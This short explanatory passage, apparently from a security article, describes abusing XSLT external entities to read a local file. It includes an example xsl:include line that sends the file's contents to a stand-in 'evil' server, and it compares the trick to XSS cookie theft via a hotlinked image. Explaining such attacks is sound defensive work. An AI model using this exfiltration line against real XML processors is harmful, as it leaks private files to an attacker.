Strange things can sometimes be done with XSLT, for example by using external entities. An external entity can be a file that stores part of a DTD or something

Strange things can sometimes be done with XSLT, for example by using external entities. An external entity can be a file that stores part of a DTD or something else. It could be an interesting file on your system, say we call it something like 'blah'. Then we can send &blah; to our evil server: <xsl:include href="hxxp://evil.example.com/hello?&blah; /> This is similar to stealing cookies with JavaScript through a cross-site scripting vulnerability by adding a new image to the page, hotlinked from an evil server and passing cookie information as a parameter.